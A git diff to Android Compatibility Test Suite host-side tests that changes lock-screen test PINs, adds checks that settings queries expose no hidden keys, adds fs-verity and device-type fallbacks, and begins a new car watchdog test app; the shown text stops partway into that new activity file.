diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index abef3d5..b872cf3 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -208,13 +208,13 @@
             // Setup screenlock
             getDevice().executeShellCommand("settings put global require_password_to_decrypt 0");
             getDevice().executeShellCommand("locksettings set-disabled false");
-            String response = getDevice().executeShellCommand("locksettings set-pin 12345");
-            if (!response.contains("12345")) {
+            String response = getDevice().executeShellCommand("locksettings set-pin 1234");
+            if (!response.contains("1234")) {
                 // This seems to fail occasionally. Try again once, then give up.
                 Thread.sleep(500);
-                response = getDevice().executeShellCommand("locksettings set-pin 12345");
+                response = getDevice().executeShellCommand("locksettings set-pin 1234");
                 assumeTrue("Test requires setting a pin, which failed: " + response,
-                        response.contains("12345"));
+                        response.contains("1234"));
             }
 
             // Give enough time for vold to update keys
@@ -262,7 +262,7 @@
                 try {
                     runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_UNLOCK_DEVICE);
                 } catch (Exception e) {}
-                getDevice().executeShellCommand("locksettings clear --old 12345");
+                getDevice().executeShellCommand("locksettings clear --old 1234");
                 getDevice().executeShellCommand("locksettings set-disabled true");
                 getDevice().executeShellCommand(
                         "settings delete global require_password_to_decrypt");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
index 2952f83..5d87121 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
@@ -60,15 +60,15 @@
             runDeviceTests(PKG, CLASS, "testGenerateAuthBoundKey");
             getDevice().executeShellCommand("cmd lock_settings clear --old 1234");
             runDeviceTests(PKG, CLASS, "testUseKey");
-            getDevice().executeShellCommand("cmd lock_settings set-pin 12345");
+            getDevice().executeShellCommand("cmd lock_settings set-pin 2345");
             getDevice().executeShellCommand("input keyevent 26");  // Screen on
             getDevice().executeShellCommand("input keyevent 82");  // Bring up lock screen
-            getDevice().executeShellCommand("input text 12345");   // Input password
+            getDevice().executeShellCommand("input text 2345");   // Input password
             getDevice().executeShellCommand("input keyevent 66");  // Submit input
             runDeviceTests(PKG, CLASS, "testUseKey");
         } finally {
             getDevice().executeShellCommand("cmd lock_settings clear --old 1234");
-            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+            getDevice().executeShellCommand("cmd lock_settings clear --old 2345");
         }
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 096eb5a..ab51c75 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -18,6 +18,9 @@
 
 import static android.appsecurity.cts.Utils.waitForBootCompleted;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
@@ -25,7 +28,6 @@
 
 import android.platform.test.annotations.RequiresDevice;
 
-import com.android.compatibility.common.util.PropertyUtil;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -205,7 +207,9 @@
                 getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN));
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(getDevice()) >= 31) {
+        final int firstApiLevel =
+                Math.min(getFirstApiLevel(getDevice()), getVendorApiLevel(getDevice()));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java
index 3e78032..cfd0b8b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java
@@ -232,7 +232,8 @@
      */
     private String parse(String procFilePath) throws IOException, DeviceNotAvailableException {
         File procFile = File.createTempFile("ListeningPortsTest", "tmp");
-        getDevice().pullFile(procFilePath, procFile);
+        boolean result = getDevice().pullFile(procFilePath, procFile);
+        assertTrue("failed to pull " + procFilePath, result);
         procFile.deleteOnExit();
 
         Scanner scanner = null;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
index 0e487e3..53d81c3 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
@@ -17,19 +17,16 @@
 package android.appsecurity.cts;
 
 
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
 import java.io.FileNotFoundException;
 
 /**
@@ -48,9 +45,6 @@
     private static final String TEST_CLASS = TEST_PACKAGE + ".ReadSettingsFieldsTest";
     private static final String TEST_APK = "CtsReadSettingsFieldsApp.apk";
     private static final String TEST_APK_TEST_ONLY = "CtsReadSettingsFieldsAppTestOnly.apk";
-    private static final String TEST_APK_TARGET_Q = "CtsReadSettingsFieldsAppTargetQ.apk";
-    private static final String TEST_APK_TARGET_R = "CtsReadSettingsFieldsAppTargetR.apk";
-    private static final String TEST_APK_TARGET_S = "CtsReadSettingsFieldsAppTargetS.apk";
 
     @Before
     public void setUp() throws Exception {
@@ -144,4 +138,46 @@
         runDeviceTests(TEST_PACKAGE, TEST_CLASS,
                 "testGlobalHiddenSettingsKeysReadableWithoutAnnotation");
     }
+
+    @Test
+    public void testQueryGlobalSettingsNoHiddenKeysWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testQueryGlobalSettingsNoHiddenKeysWithoutAnnotation");
+    }
+
+    @Test
+    public void testQuerySystemSettingsNoHiddenKeysWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testQuerySystemSettingsNoHiddenKeysWithoutAnnotation");
+    }
+
+    @Test
+    public void testQuerySecureSettingsNoHiddenKeysWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testQuerySecureSettingsNoHiddenKeysWithoutAnnotation");
+    }
+
+    @Test
+    public void testListGlobalSettingsNoHiddenKeysWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testListGlobalSettingsNoHiddenKeysWithoutAnnotation");
+    }
+
+    @Test
+    public void testListSystemSettingsNoHiddenKeysWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testListSystemSettingsNoHiddenKeysWithoutAnnotation");
+    }
+
+    @Test
+    public void testListSecureSettingsNoHiddenKeysWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testListSecureSettingsNoHiddenKeysWithoutAnnotation");
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index fe773e6..5ed4aea 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 
+import com.android.compatibility.common.util.CpuFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,6 +29,7 @@
 import com.android.tradefed.util.AbiUtils;
 
 import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -337,6 +339,10 @@
         testNativeSingle(true, true);
     }
 
+    private void assumeNativeAbi() throws Exception {
+        // Skip this test if not running on the device's native abi.
+        Assume.assumeTrue(CpuFeatures.isNativeAbi(getDevice(), getAbi().getName()));
+    }
     /**
      * Install test app with <em>all</em> possible ABI splits. This also
      * explicitly forces ABI when installing.
@@ -344,6 +350,7 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeAll_full() throws Exception {
+        assumeNativeAbi();
         testNativeAll(false, false);
     }
     @Test
@@ -386,6 +393,7 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeAllNatural_full() throws Exception {
+        assumeNativeAbi();
         testNativeAll(false, true);
     }
     @Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index f08f964..9d9ac19 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -31,6 +31,7 @@
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import static org.junit.Assume.assumeTrue;
 
 import java.util.Map;
 
@@ -187,6 +188,7 @@
 
     @Test
     public void testFullDisk() throws Exception {
+        assumeTrue(!isWatch());
         // Clear all other cached and external storage data to give ourselves a
         // clean slate to test against
         getDevice().executeShellCommand("pm trim-caches 4096G");
@@ -261,4 +263,12 @@
             }
         }
     }
+
+    private boolean isWatch() {
+        try {
+             return getDevice().hasFeature("feature:android.hardware.type.watch");
+        } catch (DeviceNotAvailableException e) {
+            return false;
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
index abc04d9..89b832d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
@@ -24,6 +24,8 @@
 
 #include <errno.h>
 #include <fcntl.h>
+#include <linux/fs.h>
+#include <sys/ioctl.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
@@ -35,17 +37,33 @@
     JNIEnv *env, jobject /*thiz*/, jstring filePath) {
   ScopedUtfChars path(env, filePath);
 
+  // Call statx and check STATX_ATTR_VERITY.
   struct statx out = {};
   if (statx(AT_FDCWD, path.c_str(), 0 /* flags */, STATX_ALL, &out) != 0) {
     ALOGE("statx failed at %s", path.c_str());
     return JNI_FALSE;
   }
 
-  // Sanity check.
-  if ((out.stx_attributes_mask & STATX_ATTR_VERITY) == 0) {
-    ALOGE("STATX_ATTR_VERITY not supported by kernel");
+  if (out.stx_attributes_mask & STATX_ATTR_VERITY) {
+    return (out.stx_attributes & STATX_ATTR_VERITY) != 0 ? JNI_TRUE : JNI_FALSE;
+  }
+
+  // STATX_ATTR_VERITY is not supported by kernel for the file path.
+  // In this case, call ioctl(FS_IOC_GETFLAGS) and check FS_VERITY_FL.
+  int fd = open(path.c_str(), O_RDONLY | O_CLOEXEC);
+  if (fd < 0) {
+    ALOGE("failed to open %s", path.c_str());
     return JNI_FALSE;
   }
 
-  return (out.stx_attributes & STATX_ATTR_VERITY) != 0 ? JNI_TRUE : JNI_FALSE;
+  unsigned int flags;
+  int ret = ioctl(fd, FS_IOC_GETFLAGS, &flags);
+  close(fd);
+
+  if (ret < 0) {
+    ALOGE("ioctl(FS_IOC_GETFLAGS) failed at %s", path.c_str());
+    return JNI_FALSE;
+  }
+
+  return (flags & FS_VERITY_FL) != 0 ? JNI_TRUE : JNI_FALSE;
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 99e5922..5e39bcf 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -210,7 +210,6 @@
         mDevice.pressKeyCode(KeyEvent.KEYCODE_2);
         mDevice.pressKeyCode(KeyEvent.KEYCODE_3);
         mDevice.pressKeyCode(KeyEvent.KEYCODE_4);
-        mDevice.pressKeyCode(KeyEvent.KEYCODE_5);
         mDevice.waitForIdle();
         mDevice.pressEnter();
         mDevice.waitForIdle();
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 2088caa..23aa04b 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -115,7 +115,7 @@
         // Set a PIN for this user
         mDevice.executeShellCommand("settings put global require_password_to_decrypt 0");
         mDevice.executeShellCommand("locksettings set-disabled false");
-        mDevice.executeShellCommand("locksettings set-pin 12345");
+        mDevice.executeShellCommand("locksettings set-pin 1234");
     }
 
     public void testTearDown() throws Exception {
@@ -127,7 +127,7 @@
         mDevice.waitForIdle();
 
         // Clear PIN for this user
-        mDevice.executeShellCommand("locksettings clear --old 12345");
+        mDevice.executeShellCommand("locksettings clear --old 1234");
         mDevice.executeShellCommand("locksettings set-disabled true");
         mDevice.executeShellCommand("settings delete global require_password_to_decrypt");
     }
@@ -204,7 +204,6 @@
         mDevice.pressKeyCode(KeyEvent.KEYCODE_2);
         mDevice.pressKeyCode(KeyEvent.KEYCODE_3);
         mDevice.pressKeyCode(KeyEvent.KEYCODE_4);
-        mDevice.pressKeyCode(KeyEvent.KEYCODE_5);
         mDevice.waitForIdle();
         mDevice.pressEnter();
         mDevice.waitForIdle();
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
index 81d16cc..e6e2ced 100644
--- a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
@@ -17,6 +17,9 @@
 package com.android.cts.readsettingsfieldsapp;
 
 import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.ArraySet;
@@ -25,11 +28,9 @@
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.Arrays;
+import java.util.ArrayList;
 
 public class ReadSettingsFieldsTest extends AndroidTestCase {
-
-    private final String[] settingsKeysWithMaxTargetSdk = {"mobile_data"};
-
     /** Test public keys are readable with annotation */
     public void testSecureNonHiddenSettingsKeysAreReadable() {
         testNonHiddenSettingsKeysAreReadable(Settings.Secure.class);
@@ -52,10 +53,6 @@
                 if (isSettingsDeprecated(ex)) {
                     continue;
                 }
-                // Skip checking for keys with maxTargetSdk because they might not be readable
-                if (Arrays.asList(settingsKeysWithMaxTargetSdk).contains(key)) {
-                    continue;
-                }
                 fail("Reading public " + settingsClass.getSimpleName() + " settings key <" + key
                         + "> should not raise exception! "
                         + "Did you forget to add @Readable annotation?\n" + ex.getMessage());
@@ -222,5 +219,83 @@
         testHiddenSettingsKeysReadable(Settings.Global.class, publicSettingsKeys,
                 hiddenSettingsKeys);
     }
+
+    public void testQueryGlobalSettingsNoHiddenKeysWithoutAnnotation() {
+        checkQueryResults(Settings.Global.CONTENT_URI, Settings.Global.class);
+    }
+
+    public void testQuerySystemSettingsNoHiddenKeysWithoutAnnotation() {
+        checkQueryResults(Settings.System.CONTENT_URI, Settings.System.class);
+    }
+
+    public void testQuerySecureSettingsNoHiddenKeysWithoutAnnotation() {
+        checkQueryResults(Settings.Secure.CONTENT_URI, Settings.Secure.class);
+    }
+
+    /**
+     * Check the result of ContentResolver.query() and make sure all the settings keys in the result
+     * is Readable.
+     */
+    private <T extends Settings.NameValueTable> void checkQueryResults(Uri uri,
+            Class<T> settingsClass) {
+        try {
+            final ContentResolver resolver = getContext().getContentResolver();
+            final Cursor cursor = resolver.query(uri, new String[]{"name", "value"}, null,
+                    null, null);
+            assertTrue(cursor.getCount() > 0);
+            while (cursor.moveToNext()) {
+                final String key = cursor.getString(0);
+                try {
+                    // every key in the result should be readable
+                    callGetStringMethod(settingsClass, key);
+                } catch (SecurityException ex) {
+                    fail("Hidden settings key <" + key + "> should not be included in the "
+                            + "query result!");
+                }
+            }
+            cursor.close();
+        } catch (Exception e) {
+            fail("Failed to query ContentResolver: " + e.getMessage());
+        }
+    }
+
+    public void testListGlobalSettingsNoHiddenKeysWithoutAnnotation() {
+        checkListResults("LIST_global", Settings.Global.class);
+    }
+
+    public void testListSystemSettingsNoHiddenKeysWithoutAnnotation() {
+        checkListResults("LIST_system", Settings.System.class);
+    }
+
+    public void testListSecureSettingsNoHiddenKeysWithoutAnnotation() {
+        checkListResults("LIST_secure", Settings.Secure.class);
+    }
+
+    /**
+     * Check the result of ContentResolver.call() and make sure all the settings keys in the result
+     * is Readable.
+     */
+    private  <T extends Settings.NameValueTable> void checkListResults(String listSettingsType,
+            Class<T> settingsClass) {
+        try {
+            final ContentResolver resolver = getContext().getContentResolver();
+            final Bundle data = resolver.call(Settings.Global.CONTENT_URI, listSettingsType, null,
+                    null);
+            final ArrayList<String> result = data.getStringArrayList("result_settings_list");
+            assertTrue(result.size() > 0);
+            for (String line : result) {
+                String key = line.split("=")[0];
+                try {
+                    // every key in the result should be readable
+                    callGetStringMethod(settingsClass, key);
+                } catch (SecurityException ex) {
+                    fail("Hidden settings key <" + key + "> should not be included in the "
+                            + "call result!");
+                }
+            }
+        } catch (Exception e) {
+            fail("Failed to query ContentResolver: " + e.getMessage());
+        }
+    }
 }
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 0d6bcc1..72c3cae 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -117,11 +117,15 @@
     }
 
     private void clearSpaceGeneric(UiDevice device) throws UiObjectNotFoundException {
-        UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
-        try {
-            uiScrollable.scrollTextIntoView("internal storage");
-        } catch (UiObjectNotFoundException e) {
-            // Scrolling can fail if the UI is not scrollable
+        int i = device.findObjects(android.support.test.uiautomator.By.scrollable(true)).size();
+        for (int j = 0; j < i; j++) {
+            UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
+            ((UiScrollable) localObject).setMaxSearchSwipes(10);
+            try {
+                 ((UiScrollable) localObject).scrollTextIntoView("internal storage");
+            } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+                // Scrolling can fail if the UI is not scrollable
+            }
         }
         device.findObject(new UiSelector().textContains("internal storage")).click();
         device.waitForIdle();
@@ -159,12 +163,19 @@
     }
 
     private void clearSpaceCar(UiDevice device) throws UiObjectNotFoundException {
-        UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
         String storageString = "internal storage";
-        try {
-            uiScrollable.scrollTextIntoView(storageString);
-        } catch (UiObjectNotFoundException e) {
-            // Scrolling can fail if the UI is not scrollable
+        int i = device.findObjects(android.support.test.uiautomator.By.scrollable(true)).size();
+        for (int j = 0; j < i; j++) {
+            UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
+            localObject.setMaxSearchSwipes(10);
+            try {
+                 boolean found = localObject.scrollTextIntoView(storageString);
+                 if (found) {
+                     break;
+                 }
+            } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+                // Scrolling can fail if the UI is not scrollable
+            }
         }
         device.findObject(new UiSelector().textContains(storageString)).click();
         device.waitForIdle();
diff --git a/hostsidetests/blobstore/AndroidTest.xml b/hostsidetests/blobstore/AndroidTest.xml
index 0b8328c..1747b4d 100644
--- a/hostsidetests/blobstore/AndroidTest.xml
+++ b/hostsidetests/blobstore/AndroidTest.xml
@@ -20,6 +20,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsBlobStoreHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/calllog/AndroidTest.xml b/hostsidetests/calllog/AndroidTest.xml
index 1e9822c..3b0d124 100644
--- a/hostsidetests/calllog/AndroidTest.xml
+++ b/hostsidetests/calllog/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- These tests explicitly handle multiuser switching themselves. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCallLogTestCases.jar" />
         <option name="runtime-hint" value="10m" />
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index cdbcfd3..6488d7e 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -20,7 +20,11 @@
     name: "CtsCarHostTestCases",
     defaults: ["cts_defaults"],
     // Only compile source java files in this apk.
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "app/src/android/car/cts/app/PowerPolicyTestCommandStatus.java",
+        "app/src/android/car/cts/app/PowerPolicyTestCommandType.java",
+    ],
     libs: [
         "cts-tradefed",
         "tradefed",
@@ -38,5 +42,6 @@
     ],
     data: [
         ":CtsCarApp",
+        ":CtsCarWatchdogSharedApp",
     ],
 }
diff --git a/hostsidetests/car/AndroidTest.xml b/hostsidetests/car/AndroidTest.xml
index 3699a2b..81bcbb4 100644
--- a/hostsidetests/car/AndroidTest.xml
+++ b/hostsidetests/car/AndroidTest.xml
@@ -22,6 +22,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCarApp.apk" />
+        <option name="test-file-name" value="CtsCarWatchdogSharedApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCarHostTestCases.jar" />
diff --git a/hostsidetests/car/app/Android.bp b/hostsidetests/car/app/Android.bp
index 0ed1890..32e33d8 100644
--- a/hostsidetests/car/app/Android.bp
+++ b/hostsidetests/car/app/Android.bp
@@ -32,3 +32,22 @@
 
     libs: ["android.car"],
 }
+
+android_test_helper_app {
+    name: "CtsCarWatchdogSharedApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+
+    manifest: "AndroidManifestWithSharedUserId.xml",
+
+    enforce_uses_libs: false,
+    static_libs: [
+        "android.frameworks.automotive.powerpolicy-V1-java",
+        "android.hardware.automotive.vehicle-V2.0-java",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+
+    libs: ["android.car"],
+}
diff --git a/hostsidetests/car/app/AndroidManifest.xml b/hostsidetests/car/app/AndroidManifest.xml
index cd8e6b7..3e2d8c3 100755
--- a/hostsidetests/car/app/AndroidManifest.xml
+++ b/hostsidetests/car/app/AndroidManifest.xml
@@ -24,7 +24,7 @@
     <uses-permission android:name="android.permission.STORAGE_INTERNAL"/>
 
     <application>
-        <activity android:name=".PowerPolicyTestActivity"
+        <activity android:name="android.car.cts.app.PowerPolicyTestActivity"
             android:launchMode="singleTask"
             android:exported="true">
             <intent-filter>
@@ -33,7 +33,16 @@
             </intent-filter>
         </activity>
 
-        <activity android:name=".SimpleActivity" android:exported="true">
+        <activity android:name="android.car.cts.app.CarWatchdogTestActivity"
+                  android:launchMode="singleTask"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.car.cts.app.SimpleActivity" android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/car/app/AndroidManifestWithSharedUserId.xml
similarity index 73%
rename from hostsidetests/trustedvoice/app/AndroidManifest.xml
rename to hostsidetests/car/app/AndroidManifestWithSharedUserId.xml
index 7a0d23c..5602770 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/car/app/AndroidManifestWithSharedUserId.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,18 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="android.trustedvoice.app">
+    package="android.car.cts.watchdog.sharedapp"
+    android:sharedUserId="android.car.cts.uid.watchdog.sharedapp">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application>
-        <activity android:name=".TrustedVoiceActivity"
-             android:turnScreenOn="true"
-             android:exported="true">
+        <activity android:name="android.car.cts.app.CarWatchdogTestActivity"
+                  android:launchMode="singleTask"
+                  android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
-
 </manifest>
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
new file mode 100644
index 0000000..66c6c5a
--- /dev/null
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -0,0 +1,402 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.app;
+
+import android.app.Activity;
+import android.car.Car;
+import android.car.watchdog.CarWatchdogManager;
+import android.car.watchdog.IoOveruseStats;
+import android.car.watchdog.ResourceOveruseStats;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InterruptedIOException;
+import java.io.PrintWriter;
+import java.nio.file.Files;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+public final class CarWatchdogTestActivity extends Activity {
+    private static final String TAG = CarWatchdogTestActivity.class.getSimpleName();
+    private static final String BYTES_TO_KILL = "bytes_to_kill";
+    private static final long TEN_MEGABYTES = 1024 * 1024 * 10;
+    private static final long TWO_HUNDRED_MEGABYTES = 1024 * 1024 * 200;
+    private static final int DISK_DELAY_MS = 4000;
+    private static final double WARN_THRESHOLD_PERCENT = 0.8;
